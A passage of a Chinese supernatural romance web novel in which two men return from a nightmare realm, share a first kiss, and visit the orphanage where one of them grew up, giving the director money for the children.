这扇由无尽绝望和痛苦构筑而成的心门,在主人亲手斩断了所有枷锁之后,终于迎来了崩溃的时刻。 张文强的身影,也随着周围环境的崩塌,开始变得虚幻而不真实。 他抬起头,最后看了一眼站在晨光中的宿珩和肖靳言。 那双饱经风霜的眼睛里,痛苦和茫然已经褪去,只剩下一种如释重负的平静。 他的嘴唇动了动,似乎想说什么。 但下一秒,男人空洞的身影,连同那条承载了他半生苦痛的铁轨,都在晨曦中寸寸碎裂。 世界像一面被敲碎的镜子,无数碎片剥落,翻飞,最终消散于一片纯白的光芒里。 …… 刺目的白光吞噬了一切,又在瞬间如潮水般退去。 感官像是被剥离后又强行塞回躯壳,带着一种剧烈的撕扯感。 最先回笼的,是嗅觉。 车载香熏清冽而熟悉的冷杉气息,驱散了心门里那股混杂着铁锈、腐臭和绝望的黏腻气味。 宿珩眼睫微颤,缓缓睁开了双眼。 他正靠在副驾驶柔森*晚*整*理软的座椅上,身体因彻底脱力而微微发沉。 指尖还残留着挥舞铁镐的酸胀,骨骼深处也叫嚣着疲惫,但这一切真实的痛感,却让他感到前所未有的心安。 他转过头。 窗外,天际线泛着一层清冷的鱼肚白。 一条笔直的柏油公路,向着遥远的地平线无限延伸。 路旁,半人高的杂草在晨风中摇曳,草丛之后,那条早已锈迹斑斑、被岁月遗弃的铁轨,安静地卧在那里,像一条死去的巨蟒。 他们,回来了。 驾驶座上,肖靳言单手随意搭着方向盘,另一只手的手肘支在敞开的车窗上,修长的指尖正有一下没一下地,轻点着车门。 他没有侧头,目光平静地投向公路前方,仿佛早已苏醒,并独自消化了那场光怪陆离的噩梦。 “我们出来了。” 肖靳言的声音响起,带着一丝刚从极度紧绷中抽离后的慵懒,却又沉稳得足以安抚人心。 宿珩喉间发出一声极轻的“嗯”,费力地坐直了身体。 视线所及,这条荒芜的公路上,还零零散散停着十几辆车,像一群迷途后精疲力尽的困兽,全都是被卷入那扇心门的倒霉蛋。 肖靳言不再多言,拧动钥匙。 黑色的越野车发出一声低沉的轰鸣,平稳地汇入了清晨空旷的车道。 车速并不快,像是在进行一场无声的巡礼。 经过一辆银色的商务车时,宿珩的目光透过车窗,清晰地看到车里的一家人。 他们正不顾形象地紧紧相拥,哭得泣不成声,脸上交织着后怕的恐惧与劫后余生的狂喜。 又往前开了一小段,路边停着一辆扎眼的蓝色轿跑。 驾驶座上,那个之前还意气风发的年轻男人,此刻双眼无神,空洞地望着前方,指间夹着的烟已经烧到了尽头,烫到了皮肤也浑然不觉。 他的灵魂,似乎还遗落在那个暴雨、烈日和风雪交织的绝望循环里,没能归来。 每一个车窗里,都上演着一幕幕截然不同,却又殊途同归的悲喜剧。 直到一辆普通的白色家用轿车,安静地出现在视线里。 宿珩的目光,倏然定住了。 副驾驶座上,乐康失魂落魄地坐着,脸色比心门里那场能冻彻骨髓的风雪还要苍白。 他一动不动,只是用一双熬得通红的眼睛,死死地盯着身旁空无一人的驾驶座。 那里,曾是他男朋友最习惯,也最让他安心的位置。 他就那么看了很久,很久。 仿佛想用目光,将那个已经永远消失的身影,重新烙印回座位上。 忽然,乐康像是再也支撑不住那股灭顶的悲伤,猛地抬起手,用尽全身力气捂住了自己的脸。 压抑到极致的,撕心裂肺的哭声,从他颤抖的指缝间绝望地泄露出来。 那声音被揉碎在晨风里,即便隔着两层厚厚的车窗,依旧像一把钝刀,一下下割着听者的耳膜。 肖靳言不动声色地放慢了车速,车内的空气都因此凝滞了几分。 他侧过头,深邃的目光落在宿珩那张过分平静的侧脸上。 “要不要下车安慰安慰他?” 宿珩收回目光,指尖无意识地蜷缩了一下,随即重新靠回冰凉的椅背,淡淡地摇了摇头。 “不用了。” 他的声音很轻,清冷得像一块永远不会融化的冰。 “每个人,有每个人自己的命运。” 这句话,像是在说那个崩溃痛哭的乐康。 又像是在说那个亲手斩断所有枷锁,最终化作光点消散的男人。 更像是在说他自己。 肖靳言闻言,唇角忽然勾起一道极浅的弧度,那笑意一闪而逝,并未抵达眼底。 他没再追问,只是重新踩下油门。 越野车平稳提速,将那辆被巨大悲伤彻底淹没的白色轿车,连同那令人心碎的哭声,缓缓甩在了身后。 车内一时间只剩下引擎运转的平稳声响,和那挥之不去的冷杉香气。 空气中的沉闷,却在悄然发酵。 “说起来……” 肖靳言像是忽然想起了什么,打破了沉默。 他转过头,那双总是带着几分玩味的黑沉眼眸,此刻却像两潭深不见底的寒潭,一错不错地锁定了宿珩的脸。 他的嘴角重新噙上那抹熟悉的,带着几分恶劣试探的弧度。 “那如果……” 肖靳言刻意拖长了声音,每一个字都带着钩子,不容拒绝地勾住了宿珩的全部心神。 “有一天,我死在了心门里。” “你会哭吗?” 这个问题,像一颗投入死水潭的巨石,瞬间在宿珩的心湖里掀起了滔天巨浪。 宿珩明显地怔住了。 他没有立刻回答,也没有像往常那样,用一个嫌弃的白眼或是一句冰冷的“无聊”来敷衍。 他缓缓转过头,迎上了肖靳言那双深邃得仿佛能将人灵魂都吸进去的眼睛。 车窗外的晨光与掠过的树影飞速倒退。 光影在他清隽的脸上明明灭灭,将他眼底那片深沉的墨色,映照得格外清晰,也格外脆弱。 宿珩很认真地,开始思考这个问题。 他想起了那片暧昧的粉色灯光下,肖靳言裹着那件明显不合体的白色浴袍的强壮身体。 想起了漫天风雪中,肖靳言为他压低帽檐时,那只手掌的温度,和那个宽阔又可靠的背影。 想起了无穷无尽的怪物潮中,那个人没有丝毫犹豫,用一把短刀为他清出一条通路的决绝与悍勇。 也想起了此时此刻,这个人用一种近乎残忍的调侃语气,问出的这个,一点也不好笑的问题。 如果肖靳言死了。 会怎么样? 心脏的位置,像是被一只无形的手,毫无征兆地,轻轻地,却又无比用力地攥了一下。 一阵细微而尖锐的酸涩感,沿着血管迅速蔓延至四肢百骸,让他指尖都泛起一阵难以言喻的麻意。 许久。 久到肖靳言眼底的玩味都淡去了几分,只剩下专注的凝视。 宿珩看着肖靳言黑沉的眸子,终于缓缓地,清晰地,吐出了一个字。 “会。” 第90章 第 90 章 福利院日常1 那一个“会”字。 轻飘飘的, 像一片羽毛,却带着千钧之重,不偏不倚地砸在了肖靳言的心上。 车厢内瞬间陷入了一种近乎凝固的死寂。 引擎平稳的轰鸣声, 车轮碾过柏油路面的规律噪音,都在这一刻被无限拉远,变得模糊而不真切。 肖靳言握着方向盘的手指, 下意识地收紧。 指节因为用力而微微泛白。 一股从未有过的,混杂着狂喜与刺痛的复杂情绪,如同一道失控的电流, 瞬间贯穿了他的四肢百骸。 心脏的位置, 那头被他强行按捺下去的野兽, 在此刻仿佛嗅到了最诱人的血腥味,开始疯狂地撞击着囚笼。 是他挑起的话题。 可当他真的得到了这个答案, 却发现自己根本无法再像从前那样,用一句轻佻的玩笑,若无其事地将它揭过。 每一个字,都变得滚烫, 灼烧着他的喉咙。 肖靳-言的喉结不受控制地滚动了一下。 他甚至不敢侧过头去看宿珩的脸, 只是将目光死死地钉在公路前方那片泛着鱼肚白的遥远天际。 他怕自己一看, 就会彻底失控。 就在这片几乎要将人溺毙的沉默之中, 宿珩却缓缓地转过了头。 他的动作很轻,很慢, 像电影里的一个慢镜头。 那双总是清冷疏离,仿佛对世间万物都漠不关心的眼眸, 此刻正一错不错地,安静地凝视着肖靳言硬朗分明的侧脸轮廓。 “你喜欢我吗?” 清冷的声音,没有任何起伏, 却像肖靳言那把从不离身的黑色短刀,精准地剖开了两人之间那层心照不宣的,暧昧的薄纱。 这是第二次。 上一次在训练室,这个问题带着七分试探,三分挑衅。 而这一次,宿珩那双笼着一层薄雾般的漆黑眼眸里,只剩下不容错辨的郑重与认真。 他不是在试探,也不是在博弈。 他只是在要一个答案。 “吱嘎——” 一声尖锐刺耳的刹车声,划破了公路上的宁静。 黑色越野车猛地向右一打,轮胎与地面剧烈摩擦,带着一股焦糊的气味,堪堪停在了荒芜的公路边。 肖靳言几乎是在踩下刹车的同一时间,便已经侧过了身。 他没有开口。 也没有给宿珩任何闪躲或后退的机会。 一只滚烫的大手,带着不容拒绝的力道,猛地抬起,捧住了宿珩那张因为惊愕而显得有些苍白的脸。 宿珩的瞳孔,在这一刻骤然收缩。 他从未与任何人有过如此近距离的接触。 属于另一个人的,带着强烈侵略性的灼热气息,铺天盖地地席卷而来,瞬间占据了他所有的感官。 下一秒。 唇上传来一片温热而柔软的触感。 肖靳言直接吻了下去。 这个吻,没有丝毫的温柔与试探,带着一种近乎蛮横的,急于证明什么的冲动与粗暴。 他用行动,给出了最直接,也最不容置疑的回答。 宿珩的身体在一瞬间变得僵硬。 他能清晰地感觉到,对方的舌尖,正撬开他的齿关,带着一股不容抗拒的强势,探入进来,攻城略地。 陌生的,属于肖靳言的气息,蛮横地充斥着他的口腔,让他感到一阵阵的晕眩。 大脑一片空白。 但他没有挣扎,也没有推开。 在那片混沌之中,一种连他自己都未曾察觉的本能,驱使着他抬起手,轻轻抓住了肖靳言胸前的衣襟。 然后,他笨拙地,生涩地,学着对方的动作,慢慢地迎了上去。 甚至在混乱中,张口轻轻咬住了那条正在他领地里肆意探寻的柔软。 力道不重,更像是小动物毫无章法的啃咬。 “嘶……” 肖靳言吃痛地闷哼一声,动作却变得更加凶狠。 他像是被宿珩这一下笨拙的回应彻底点燃了引线,捧着宿珩脸颊的手掌越收越紧,几乎要将身前这个清瘦的人,彻底揉进自己的骨血里。 这一吻,不知道持续了多久。 直到宿珩肺里的空气被彻底榨干,一阵阵的窒息感让他眼前发黑,他才猛地回过神来,用尽力气推着身前那堵坚硬滚烫的胸膛。 “唔……放开……” 含糊不清的抗议,从紧贴的唇齿间溢出。 肖靳言这才意犹未尽地,缓缓松开了对他的钳制。 一缕银丝,在两人分开的瞬间,暧昧地断裂。 宿珩靠在椅背上,大口大口地喘息着,胸口剧烈地起伏。 他那张本就白皙的脸,此刻已经从耳根到脖颈,都染上了一层动人的薄红。 那双总是覆着一层冰霜的眼眸,此刻水汽氤氲,眼尾泛红。 像是被人狠狠欺负过一样,带着几分茫然,几分无措,还有一丝被情/欲浸染过的,脆弱的艳色。 肖靳言的呼吸也同样粗重。 他伸出舌尖,意犹未尽地舔了舔被宿珩咬得有些发疼的嘴唇,一股淡淡的血腥味在味蕾上弥漫开来。 但这轻微的刺痛,非但没能让他冷静,反而像一剂催化剂,让他体内那股几乎要破体而出的狂躁,愈发汹涌。 心脏的位置,跳得如同擂鼓。 砰!砰!砰! 一下比一下重,仿佛随时都要冲破胸膛,跳到那个人面前去。 镜中那个诡异而疯狂的自己,似乎又一次浮现在了他的脑海里,冲着他露出一个残忍而贪婪的笑容。 肖靳言黑沉的眸光瞬间变得深不见底。 他死死地盯着宿珩那张白里透红的漂亮脸孔,和那双被吻得红肿微翘的嘴唇,强行按捺住那股想要将他再次拖入深渊的毁灭性冲动。 他闭了闭眼。 再睁开时,眼底那片翻涌的暗色已经被强行压了下去。 肖靳言重新噙起那抹熟悉的,带着几分恶劣的弧度,黑沉的眸光定定地看着宿珩,声音因为情动而显得有些沙哑。 “我的回答,满意吗?” 宿珩狠狠地白了他一眼。 他没有说话,只是猛地转过脸,将视线投向了车窗外那片荒芜的景色。 像是在赌气,又像是在掩饰什么。 只是那微微发颤的眼睫,和紧紧蜷缩起来的指尖,还是泄露了他此刻极不平静的内心。 一颗心,早就脱离了胸腔的掌控,轻飘飘地,飞到了九霄云外。 血液在血管里肆意奔流,冲刷着每一寸神经末梢,带来一种酥酥麻麻的,前所未有的异样感觉。 就连他那颗即便面对心门深处最恐怖的怪物,也能保持绝对冷静的心脏,此刻也完全乱了节拍。 飘飘然的,像是踩在云端。 陌生,却又该死的,让人沉溺。 —— 肖靳言看着宿珩那副像是被惹急了的猫,却又强装镇定的模样,心底那头叫嚣的野兽,总算被安抚了少许。 他低低地笑了一声,胸腔的震动透过尚未完全拉开的距离,传到宿珩的身上。 “好了,不逗你了。” 肖靳言终于舍得坐直了身体,重新握住方向盘。 只是那双深邃的眼眸,依旧透过后视镜,一错不错地锁着宿珩的脸,眼底的笑意像是酿开的酒,浓得化不开。 宿珩能感觉到那道灼热的视线,如影随形。 他将头扭向窗外,脸颊上的热度却迟迟不退,仿佛连耳廓都烧得通红。 刚才那个吻的触感,依旧清晰地残留在唇上。 温热的,柔软的。 带着肖靳言独有的,不容抗拒的强势气息。 还有他自己。 那个不受控制,迎上去的自己。 宿珩用力地闭了闭眼,试图将脑海里那片混乱的画面驱散。 可越是想忘记,那份感觉就越是清晰。 心脏在胸腔里乱撞,毫无章法,每一次跳动,都像是在叫嚣着一个他既熟悉又陌生的名字。 “坐稳了。” 肖靳言低沉的声音再次响起,打破了车厢内这片令人心慌的安静。 他不再看宿珩,重新发动了汽车。 黑色的越野车发出一声低吼,稳稳地驶回了公路。 接下来的一个半小时,两人谁都没有再说话。 车内的气氛,却和之前截然不同。 那份紧绷的,带着试探的暧昧彻底消失了。 取而代之的,是一种心照不宣的,几乎要满溢出来的默契与温情。 空气里那股清冽的冷杉香气,似乎也沾染上了几分甜意。 宿珩依旧看着窗外,飞速倒退的荒芜景象,渐渐被星星点点的绿色和建筑所取代。 他的心,也随着车轮的前行,一点点地,从那片失控的云端,慢慢落回了实处。 只是那份陌生的,酥麻的余韵,依旧缠绕在心尖。 而开车的肖靳言,表面上看起来平静无波,只有那双握着方向盘,骨节分明的手,暴露了他极不平静的内心。 宿珩的那个“会”字,还有那个生涩笨拙的回应,像一颗被投入深潭的石子,在他心里掀起了滔天巨浪。 他花了整整七年的时间,才将那个在镜中对他狞笑的,疯狂的自己,牢牢地锁回了内心最深处的囚笼。 可现在。 这座他自认为无比坚固的囚笼,却因为宿珩一个眼神,一句话,一个吻,而剧烈地动摇起来。 那头野兽,正疯狂地撞击着牢门,渴望着冲出来,将那个人彻底吞噬,占有。 肖靳言的喉结再次滚动了一下。 他强迫自己将注意力,全部集中在前方的路况上。 导航的机械女声,终于在漫长的沉默中响起。 [前方两百米,右转,已到达目的地附近……] 肖靳言依言打了转向,越野车拐进一条安静的小路。 路的尽头,一栋带着庭院,涂抹着彩色墙壁和砖瓦的二层小楼,安静地出现在视野里。 那是一座福利院。 墙壁上画着笨拙可爱的太阳和云朵,院子里有秋千和滑梯,几个孩子正在草地上追逐打闹,清脆的笑声隔着老远都能听见。 这里的一切,都和他们刚刚逃离的那个绝望世界,格格不入。 充满了温暖的,鲜活的,属于人间的烟火气。 肖靳言缓缓将车停在了福利院的铁门外。 引擎熄火的瞬间,一个头发黑白参半,看起来约莫五十多岁的女人,正好从院子里走了出来。 她穿着一件朴素的蓝色围裙,手里还拿着一把浇花的喷壶。 看到这辆看起来就价值不菲的黑色越野车停在门口。 女人先是愣了一下,随即踮起脚,带着几分好奇和警惕,往车里打量。 当她的目光,落在副驾驶座上那张过分熟悉的清隽脸孔时,那双带着岁月痕迹的眼睛,瞬间就亮了起来。 “小珩?” 她的声音里,带着一丝不敢确信的惊喜。 宿珩几乎是在听到这个声音的同时,便解开了安全带。 他推开车门,快步走了下去。 “徐阿姨。” 宿珩走到女人面前,很自然地张开双臂,给了她一个结实的拥抱。 那张总是覆着一层冰霜的脸上,此刻终于融化开来,露出了一个极浅,却无比真实的笑容。 “哎,你这孩子,回来怎么也不提前打个电话?” 被称作徐阿姨的女人,高兴地拍着宿珩的后背,嘴上嗔怪着,眼里的笑意却怎么也藏不住。 她松开宿珩,上上下下地打量着他,眉头微微蹙起。 “是不是又没好好吃饭?怎么又瘦了?” “没有,最近吃的挺多。” 宿珩的声音,带着一种在肖靳言面前从未有过的温和。 就在这时,驾驶座的车门也打开了。 肖靳言从车上下来,绕到车后,动作利落地从后备箱里,将那个大号的行李箱拎了出来。 徐阿姨的目光,立刻被这个突然出现的,高大英俊的男人吸引了过去。 她看着肖靳言那挺拔的身形和硬朗的五官,又看了看旁边清瘦漂亮的宿珩,眼神里多了几分探究的意味。 “小珩,这位是?” 不等宿珩开口介绍。 肖靳言已经拎着箱子,主动走上前几步,脸上带着恰到好处的,阳光开朗的笑容。 “阿姨您好,我叫肖靳言,您叫我小肖就行。” 他顿了顿,目光不着痕迹地瞥了一眼身旁的宿珩。 那句“我是宿珩的男朋友”,几乎就要脱口而出。 但话到了嘴边,看着宿珩似乎还残存着红晕的耳根,他还是硬生生将那份冲动压了下去,换上了一个更稳妥的说法。 “我是宿珩的……朋友。” 那个微不可察的停顿,还是没能逃过徐阿姨的眼睛。 她看着眼前这个气场强大,眼神却很真诚的年轻人,又看了看身旁明显有些不自在的宿珩,眼底闪过一丝了然的笑意。 “朋友好,朋友好。” 徐阿姨热情地接过话头,脸上的笑容更加亲切了。 “快,都别在门口站着了,赶紧进来。” 她说着,便转身推开了那扇漆成天蓝色的铁艺大门。 院子里的孩子们,早就注意到了门口的动静。 当他们看清来人是宿珩时,立刻爆发出了一阵欢呼,像一群归巢的小鸟,呼啦啦地全都围了上来。 “小珩哥哥!” “小珩哥哥你回来啦!” 七八个年纪不同的小脑袋,争先恐后地挤到宿珩身边,伸出小手去拉他的衣角。 他们仰着脸,用最纯粹的,充满依赖的眼神看着他。 宿珩脸上那点因为肖靳言而起的不自在,瞬间被这群孩子的热情冲得一干二净。 他眼底的冰霜彻底融化,笑意从眼底一直蔓延到唇角。 “嗯,我回来了。” 他挨个摸了摸孩子们的头,然后从肖靳言手里,自然地接过了那个沉重的行李箱。 “砰”的一声。 宿珩将箱子放在地上,然后蹲下身,当着所有孩子的面,打开了箱扣。 满满一箱子,全是崭新的文具,和各种包装精美的零食。 “哇!” 孩子们发出一阵惊喜的赞叹,眼睛亮晶晶地,却都乖巧地站着,没有一个人上前哄抢。 “谢谢小珩哥哥!” 孩子们异口同声地大声喊道,声音清脆又响亮。 “去分了吧。”宿珩笑着说,“分完了记得把包装袋扔进垃圾桶。” “好!” 得到允许,孩子们这才欢呼着一拥而上,七手八脚地将他们的礼物瓜分干净。 肖靳言被这群兴奋的孩子挤到了一旁。 他没有动,只是抱着手臂,靠在门框上,从孩子们吵吵闹闹的缝隙里,安静地看着那个蹲在阳光下,被一群孩子包围着的宿珩。 宿珩的侧脸,被午后温暖的阳光镀上了一层柔和的金边。 他的眉眼舒展,唇角上扬,脸上带着一种肖靳言从未见过的,发自内心的,纯粹的快乐。 那一刻,肖靳言的心,像是被什么东西,轻轻地撞了一下。 有些酸,又有些软。 他看着眼前这座算不上大,甚至有些陈旧的福利院,看着那些虽然穿着朴素,但眼睛里都闪着光的孩童。 他几乎可以想象得到。 很多年前,也有一个像这样瘦小的,漂亮得不像话的小男孩,和这些孩子一样,在这里生活,长大。 他或许也曾像这些孩子一样,期待着某一个“哥哥”的归来,期待着一份小小的礼物。 也或许,他比这些孩子更孤独,更沉默。 肖靳言无法具体体会那种滋味。 但他却在那一瞬间,清晰地感觉到了一阵名为“心疼”的情绪,细细密密地,缠上了他的心脏。 难怪。 难怪他总是习惯性地与人保持距离,用一身的冰冷来武装自己。 原来,在他那坚硬的外壳之下,包裹着的,是这样一个柔软的,需要被小心呵护的内核。 肖靳言的目光,重新落回到宿珩的身上。 看着那张在阳光下,几乎要变得透明的笑脸,他心底那点微末的酸楚,又渐渐被另一种更汹涌,更滚烫的情绪所取代。 是幸运。 他很庆幸,在经历了那么多黑暗与绝望之后,宿珩的心里,依旧为这片小小的天地,保留了一方最干净,最柔软的净土。 他也无比庆幸。 自己能够站在这里,亲眼看到这一幕。 正如宿珩所说,每个人,都有每个人自己的命运。 而遇见宿珩—— 大概就是他肖靳言这辈子,最好,也最无法逃脱的,命中注定。 90-100 第91章 第 91 章 福利院日常2 孩子们的热情像温暖的潮水, 将宿珩整个人淹没。 他被簇拥着,拉扯着,走向院子里的秋千架, 脸上是肖靳言从未见过的,柔软而放松的神情。 肖靳言没有跟过去打扰。 他就那么抱着手臂,安静地靠在漆成天蓝色的铁艺门框上, 像一个置身事外的旁观者,目光却从未离开过那个被阳光和笑声包裹的身影。 一个扎着羊角辫的小女孩,踮着脚, 努力将一块刚刚分到的巧克力, 举到宿珩的嘴边。 宿珩笑着弯下腰, 张嘴接了过来。 那一瞬间,肖靳言的心脏, 像是被一只温热的手轻轻地攥住了。 他一直以为,宿珩是坚冰,是利刃,是需要用同样强大的力量去征服, 去融化的存在。 可直到此刻, 站在这片充满了人间烟火气的院落里, 他才真正看清。 冰层之下, 是需要小心呵护的,从未冻结过的柔软活水。 那个在心门里, 冷静地剖析人性,一拳将怪物打翻在地的宿珩。 那个在车里, 因为一个吻而僵硬无措,耳根泛红的宿珩。 和眼前这个,被一群孩子包围, 眉眼间尽是温柔的宿珩。 每一个他,都如此不同,却又共同交织成了这个让肖靳言心尖发烫,甚至感到一丝细微疼痛的,完整的人。 肖靳言看着宿珩的侧脸,唇角在自己都未曾察觉的时候,缓缓向上勾起。 他想,他大概是疯了。 才会觉得宿珩连被孩子们吵得微微蹙眉的样子,都他妈的可爱得要命。 这份独属于这里的热闹,肖靳言不忍心打破。 他安静地走进福利院,将这片温暖的场景留在身后,抬步走进了面前那栋略显陈旧的二层小楼。 楼道里很安静,能闻到一股淡淡的消毒水和阳光混合的味道。 墙壁上贴满了孩子们用蜡笔画的,歪歪扭扭的画。 肖靳言放轻了脚步,顺着楼梯,走上了二楼。 走廊尽头的房间门开着,徐阿姨正在里面忙碌。 肖靳言走过去,停在门口。 房间不大,陈设也很简单,一张书桌,一个衣柜,还有一张靠墙摆放的床。 那是一张大约一米五宽的木板床,徐阿姨刚刚铺上了崭新的床单和被套,蓝白格子的,还散发着一股洗衣粉混合着阳光的清新味道。 听到门口的动静,徐阿姨直起身,回头看到是肖靳言,有些局促地笑了笑,擦了擦手。 “小肖啊。” 她有些不好意思地说道:“院里条件简陋,房间也紧张,今天晚上……就只能委屈你和小珩挤一挤了。” 肖靳言的眉梢几不可察地向上挑了一下。 挤一挤。 他很喜欢这个词。 “没关系,阿姨。” 肖靳言脸上露出一个爽朗的笑容,迈步走进房间,“我们不讲究这个。” 我们早就睡过很多次了。 当然,这句话他只敢藏在心里,没敢说出口。 “我来帮您吧。” 他说着,很自然地从徐阿姨手里接过了枕头,将它摆放好,又伸手将被角抚平。 徐阿姨看着他利落的动作,眼神里的拘谨也消散了些,多了几分真切的笑意。 “一看就是个会干活的好孩子。” 两人一起将床铺整理好,房间里顿时显得更加整洁温馨。 肖靳言拍了拍手,像是想起了什么,从口袋里摸出了一张黑色的银行卡,递到了徐阿姨面前。 “阿姨,这个您收下,一点心意。” 徐阿姨脸上的笑容,在看到那张卡的瞬间,立刻就凝固了。 她像是被烫到一样,连连摆手,向后退了一步。 “这可使不得!使不得!” 她把手背在身后,用力地摇着头,“你们年轻人,在外面打拼赚钱都不容易,我怎么能要你的钱?” “这不是给您的。” 肖靳言往前一步,坚持将卡递过去,语气诚恳,“是给孩子们的,买点新衣服,添点学习用品,或者改善一下伙食都行。” “那更不能要了!” 徐阿姨的态度却更加坚决了。 她叹了口气,看着肖靳言,眼神里满是心疼和无奈。 “小珩那孩子,也是这样。隔三差五就给我打一笔钱过来,每次都说是他发的奖金。” 她说到这里,声音低了下去,走到窗边,看着楼下院子里,那个正被孩子们拉着做游戏的身影,眼神里流露出一种深切的担忧。 “我怕啊。” 徐阿姨的声音里带着一丝颤抖。 “我怕他为了赚钱,在外面做什么……不好的事情。那些钱,我一分都没敢动,全都给他存着呢。” 她转过头,重新看向肖靳言,那双饱经风霜的眼睛里,充满了恳切的询问。 “小肖,你和小珩是朋友,你跟我说句实话。小珩他……他到底在做什么工作?怎么会突然有这么多钱?” “他这个孩子,从小就沉默寡言,什么事都自己一个人扛着,从来不跟人说。可他心里,比谁都善良,比谁都心细。我真怕他被人骗了,或者走了歪路。” 徐阿姨的话,像一根根细密的针,轻轻扎在肖靳言的心上。 他能感受到这位朴实的女人,对宿珩那份最纯粹的,不掺任何杂质的关爱与担忧。 肖靳言差点就忍不住笑出声。 走了歪路? 他家宿珩走的何止是歪路,那条路上不是厉鬼就是怪物,寻常人看一眼都得吓破胆。 可这话,他不能说。 “阿姨,您放一百个心。” 肖靳言收敛了心底的思绪,用一种无比郑重的语气,看着徐阿姨的眼睛,一字一句地说道。 “宿珩的工作,绝对干净。” “他赚的每一分钱,都是正大光明的辛苦钱,是国家认可,甚至可以说是……国家直接发的。” 这话半真半假,但用在这里,却恰到好处。 “国家发的?” 徐阿姨将信将疑地重复了一遍,脸上的表情依旧困惑。 “对。” 肖靳言重重点头,然后不由分说地,将那张银行卡,强行塞进了徐阿姨的手心。 “所以,这钱您就安心地收下。密码是六个零,您就当是……国家给孩子们的专项补贴。” 他一边说着,心里已经开始飞速盘算起来。 回去就让办事处的人,以办事处的名义成立一个慈善基金,专门对接全国各地像这样的福利机构。 专项资金,用于这些孩子们的日常生活、教育、医疗等所有方面。 这件事,必须办。 “哎,这,这怎么行……” 徐阿姨手里捏着那张薄薄的卡片,却觉得它重如千斤。 她还是想把卡还回去,两人在不大的房间里,一时间拉扯起来。 就在这时。 一个清冷的声音,在门口响了起来。 “阿姨。” 肖靳言和徐阿姨的动作,同时一顿,齐刷刷地朝门口看去。 宿珩不知何时已经站在了那里。 他显然已经听到了刚才的对话,目光在两人推来搡去的银行卡上停留了一瞬,随即落在了肖靳言的脸上。 他的眼神里,没有半分诧异,仿佛肖靳言会这样做,是再正常不过的事情。 可即便森*晚*整*理如此。 宿珩那颗刚刚才平复下来的心脏,还是不可抑制地,又泛起了一阵温暖的涟漪。 他走到两人中间,从徐阿姨手里,将那张银行卡抽了出来,然后又重新塞回到她的手里。 “您就收下吧。” 宿珩看着徐阿姨,语气平静,却带着一种不容拒绝的意味,“他有钱。” 这话说得理直气壮,毫不客气。 徐阿姨被他这副模样给气笑了,嗔怪地瞪了他一眼。 “你这孩子,人家有钱也是人家的!跟你有什么关系?” 她轻轻拍了下宿珩的手臂,教育道:“他是你的朋友,又不是你的提款机。再说了,福利院现在还能运作下去,我们不能随便要别人的钱。” “他不是别人。” 宿珩几乎是在徐阿姨话音落下的瞬间,便开口打断了她。 这五个字,他说得很轻,也很清晰。 像一颗石子,投入了平静的湖面。 房间里,瞬间陷入了一片寂静。 徐阿姨脸上的嗔怪,彻底僵住了。 她愣愣地看着眼前面无表情的宿珩,又看了看旁边那个,嘴角已经快要咧到耳根去的肖靳言,脑子里“轰”的一声,好像有什么东西,彻底明白了。 而肖靳言,再也无法掩饰自己内心的喜悦。 他觉得,刚才那个吻,之前所有心门里的生死与共,甚至未来可能会面对的一切危险,都不及宿珩此刻这轻描淡写的一句“他不是别人”,来得更让他心魂巨震。 那头被他强行锁在内心深处的野兽,在这一刻,满足地发出了一声震天的咆哮。 原来。 被人光明正大地,坚定不移地选择,是这样一种,足以让人连灵魂都为之战栗的滋味。 他看着宿珩那双清冷的,却又仿佛盛满了漫天星光的眼眸,脸上的笑容,再也无法抑制。 徐阿姨没有再多问。 她捏着那张薄薄的卡片。 那双已经有了明显鱼尾纹的眼睛,在两个年轻人之间来回逡巡。 一个面无表情,态度却强硬到不容置喙的宿珩。 一个身形高大,脸上那笑容灿烂得像个二傻子的肖靳言。 最后,那双眼睛里所有疑惑与担忧都烟消云散,化作一抹了然的释怀。 “好,好,我收下。” 徐阿姨的声音带着一丝轻颤,小心翼翼将那张薄薄的卡片揣进口袋。 “你们聊,我去厨房看看,给你们做点好吃的。” 她说着,便转过身,快步走向门口,给了两个年轻人一片独处的空间。 宿珩的目光追随着她的背影。 他清晰地看见,徐阿姨抬起的手,在走到门框时,飞快而隐蔽地抹了一下眼角。 直到脚步声彻底消失在楼梯尽头,房间才重新坠入一片温暖的静谧。 宿珩在床沿边坐了下来。 柔软的床垫因为他的重量,微微向下凹陷出一个温柔的弧度。 他伸手,轻轻抚过那张蓝白格子的床单。 阳光暴晒后的味道,混杂着他记忆深处最熟悉的,属于家的气息,钻入鼻腔。 “这间房,是我小时候住的。” 他的声音很轻,像一缕拂过水面的风,分不清是在对肖靳言诉说,还是在对自己低语。 “徐阿姨一直给我留着,每年都会换上干净的被单。” 话音刚落,身旁的床垫猛地一沉。 肖靳言高大沉重的身躯,毫无征兆,就那么直接在他身边躺了下来。 他双手枕在脑后,两条充满爆发力的修长双腿因为无处安放,只能随意地撑在地面。 整个人以一种极具占有欲的姿态,舒展开来,轻而易举就占据了大半张床的位置。 “挺好的。” 肖靳言侧过头,看着宿珩清瘦的背影,嘴角噙着一抹不加掩饰的笑意。 “又能睡一起了。” 宿珩的后背,瞬间僵了一下。 虽说他俩已经同床共枕睡过好几次了。 可这一次,两个人的身份,心境,早已天翻地覆。 那股刚刚才褪下去的热度,又开始不受控制地,从脖颈蔓延至耳根。 宿珩没有回头,只是用一种几乎只有自己才能听见的音量,极其轻微地“嗯”了一声。 空气里浮动着一种令人心跳失速的沉默。 宿珩竭力想找个话题打破这片暧昧,清了清嗓子。 “你准备在这儿待多久?” 肖靳言没有立刻回应。 宿珩心底升起一丝疑惑,下意识地侧过头,想看看他在做什么。 下一秒。 他只觉得腰间猛地一紧。 一股不容抗拒的,带着灼热掌温的力道骤然传来。 宿珩整个人重心瞬间失衡,被那股力量蛮横地拽倒在了床上。 天旋地转间,他已经和肖靳言肩并肩地,躺在了一处。 那张近在咫尺的,英俊到极具攻击性的脸庞,在他视野里无限放大。 肖靳言的眼眸黑得惊人,像两潭深不见底的漩涡,里面翻涌着毫不掩饰,几乎要沸腾的滚烫爱意与占有欲。 他凝视着宿珩那张雪白中透着一层薄红的脸。 凝视着那双因为惊愕而微微睁大的的眼睛。 情不自禁地,肖靳言低下头。 “吧唧”一声。 一个响亮又结实的吻,就这样结结实实地,印在了宿珩柔软的唇上。 就在这时。 “哇!” 一声稚嫩的,充满了新奇发现的惊叹声,毫无预兆地从敞开的房门口响了起来。 宿珩浑身一震。 门口,不知何时已经挤满了七八个小脑袋。 那个扎着羊角辫的小女孩,正瞪大了她那双黑葡萄似的好奇眼睛。 